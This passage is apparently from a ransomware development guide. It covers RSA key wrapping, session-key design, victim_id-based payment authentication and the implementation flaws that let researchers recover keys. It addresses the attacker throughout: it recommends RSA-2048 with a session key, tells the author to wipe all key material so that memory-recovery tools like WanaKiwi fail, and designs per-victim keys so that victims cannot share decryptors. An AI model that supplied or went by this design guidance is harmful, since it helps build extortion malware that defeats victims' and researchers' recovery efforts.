Key Hierarchy and RSA Wrapping

RSA-2048 is the current minimum acceptable standard (equivalent security to AES-112 bits). RSA-4096 provides better long-term security but is 6-8x slower for the encryption operation (the one RSA encryption per victim). For ransomware: even RSA-2048 is far beyond any currently feasible attack with classical computers. The actual risk isn't key length — it's implementation flaws (see the security analysis section). RSA-2048 takes ~1ms to encrypt; RSA-4096 takes ~6ms. For hundreds of thousands of files with per-file RSA wrapping, this matters. With the session key approach (one RSA op per machine), the difference is negligible. Practical recommendation: RSA-2048 with the session key approach. RSA-4096 only if you're concerned about "harvest now, decrypt later" (attackers storing encrypted traffic to decrypt years later when quantum computers arrive — relevant for nation-state adversaries but not for typical ransomware operators). The AES-256-GCM layer is the primary protection for file content; RSA only wraps the small key material.

WannaCry (2017) had a critical implementation flaw: when generating the encryption keys, the ransomware called CryptDestroyKey() and CryptReleaseContext() on the primary key after encryption — standard cleanup. But the prime numbers used to generate the RSA key pair were not wiped from memory before the call. On unpatched systems (or if the WannaCry process hadn't been killed), these prime numbers remained in memory pages that the OS hadn't yet zeroed and reallocated. Researchers from quarkslab developed WanaKiwi, which scanned process memory for these prime numbers and reconstructed the private key from them. The lesson: (1) Always use SecureZeroMemory() on ALL sensitive key material, including intermediate computation values, not just the final key. (2) The OS doesn't guarantee zeroing freed memory pages — your code must do it. (3) WannaCry also had a bug where it didn't properly delete shadow copies on some configurations, allowing VSS-based recovery. This is why modern ransomware groups spend significant resources testing their cryptographic implementations, sometimes hiring cryptographers to audit the key management code before a campaign.

The victim_id (16-byte random value stored in every .rnsom_key file) is the authentication token. The victim's ransom note contains a mechanism to display or extract their victim_id — either printed directly in the note, or retrieved by running a small "identifier" tool that reads the victim_id from any .rnsom_key file. When the victim contacts the attacker's payment portal, they provide their victim_id. The attacker's backend looks up: "which RSA private key is associated with victim_id X?" (for per-victim key pair approaches) or just verifies that victim_id X is in the known victim database. Payment is confirmed on-chain (cryptocurrency transaction verification). After payment confirmation: the attacker provides either (A) a decryptor binary that includes the RSA private key unlockable by the payment transaction hash, or (B) the raw RSA private key that the victim uses with a provided decryptor. The victim_id also prevents victims from sharing decryptors with each other — each victim's .rnsom_key files are tied to their specific RSA wrapping, so a decryptor with "victim A's" RSA private key doesn't help "victim B" whose keys were wrapped with a different RSA keypair.

Without the RSA private key, there's no practical way to decrypt files encrypted with a sound implementation. Security researchers look for implementation flaws instead: (1) Static key analysis: is the AES key or RSA private key hardcoded in the binary? Some immature ransomware hardcodes a single symmetric key. Disassemble the binary, search for 32-byte strings used in crypto API calls. (2) Weak PRNG: was a time-based or predictable seed used? Try brute-forcing the PRNG seed based on file creation timestamps. (3) Key in memory: if the ransomware process is still running or recently exited (memory page not yet reused), scan for key material using tools like WanaKiwi or MPRESS analysis. (4) Command and control communication: if the ransomware sends the key to a C2 server, intercepting that traffic (network capture or MitM) captures the key in transit. (5) Law enforcement action: law enforcement seizing the attacker's servers may recover private keys. The US DOJ recovered Bitcoin paid to Colonial Pipeline attackers and may have obtained decryption keys through server seizures. (6) Pay and analyze the decryptor: receiving a legitimate decryptor after payment reveals the RSA private key embedded inside it — now other victims can use it (this sometimes happens when law enforcement pays a ransom specifically to get the decryptor for analysis and public release).

With per-file RSA: 100,000 files × 1ms per RSA-2048 operation = 100 seconds of RSA operations added to the total encryption time. With the session key approach: 1 RSA operation per machine (1ms) + 100,000 AES-256-ECB key wrapping operations (~1 microsecond each = 100ms total). The session approach is ~1000x faster for the key wrapping component. For the decryption side: the attacker's decryptor only needs to decrypt the session key once per machine (1 RSA operation), then use it to unwrap all file keys (fast AES). Per-file RSA would require 100,000 RSA decryption operations per machine, making the decryptor agonizingly slow (especially for large-scale campaigns with millions of files). The session key approach also reduces the size of key material stored per file: instead of 256 bytes of RSA output per file, each file only needs 32 bytes of AES-wrapped key. The .rnsom_key blob is smaller and faster to write. The one downside: if the session key is recovered (memory forensics during encryption), all files on that machine can be decrypted. Per-file RSA limits blast radius to files whose in-memory key hasn't been zeroed yet. In practice: SecureZeroMemory on each file key after use makes this theoretical.